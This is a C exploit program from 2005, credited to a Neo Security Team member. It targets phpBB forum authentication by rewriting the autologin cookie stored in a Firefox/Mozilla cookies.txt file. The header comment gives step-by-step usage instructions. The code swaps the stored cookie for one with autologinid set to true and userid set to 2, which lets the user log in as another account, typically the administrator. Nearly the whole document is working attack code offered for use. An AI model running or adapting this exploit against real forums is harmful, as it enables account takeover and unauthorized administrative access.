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- /*
- Author: Paisterist
- Date: 28-02-05
- [N]eo [S]ecurity [T]eam ©
-
- Description: this exploit modify the user id that is in your
- cookies.txt (Firefox and Mozilla) file.
- You have to log in the forum, with the autologin option unchecked,
- then you close the navigator and
- execute the exploit.
- If you have any problem with the exploit, remove all cookies and do all
- again.
-
- Note: you have to put the exploit in the same directory of cookies.txt.
- This exploit overwrite all phpbb cookies that have the user id
- specified.
-
- I HAVE NOT DISCOVERED THIS VULNERABILITY, I DON'T KNOW WHO HAS
- DISCOVERED IT.
-
- By Paisterist
-
- http://neosecurityteam.net
- http://neosecurityteam.tk
-
- Greetz: Hackzatan, Crashcool, Towner, Daemon21, Wokkko, Maxx,
- Arcanhell, Alluz.
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
-
- int main(int argc, char** argv[]) {
- FILE *pointer;
- char contenido[10000],
-
- cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22",cookief[9]="%22%3B%7D", cookiec[106],
-
- cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D",*pos;
- int p=0, i=0;
-
- if (argc!=2) {
- printf("Usage: phpbb_exploit.exe user_id\n\n");
- exit(0);
- }
- pointer=fopen("cookies.txt", "r");
-
- if (pointer) {
- fread(contenido, 300, 10, pointer);
- fclose(pointer);
- } else {
- printf("The file can't be open\n");
- exit(0);
- }
-
- strcpy(cookiec, cookie);
- strncat(cookiec, argv[1], 6);
- strcat(cookiec, cookief);
-
- if (pos=strstr(contenido, cookiec)) {
- p=pos - contenido;
- while (i<92) {
- if (cookie_false[i]!=NULL)
- contenido[p]=cookie_false[i];
- p++;
- i++;
- }
- }
- else {
- printf("The file cookies.txt isn't valid for execute the
- exploit or the user id is incorrect\n");
- exit(0);
- }
-
- if (pointer=fopen("cookies.txt", "w")) {
- fputs(contenido, pointer);
- printf("Cookie modified: \n\n%s\n\n", contenido);
- printf("The cookies file has overwriten... looks like the exploit has worked");
- } else printf("\n\nThe file cookies.txt has not write permissions.");
- return 0;
- }
-
-
-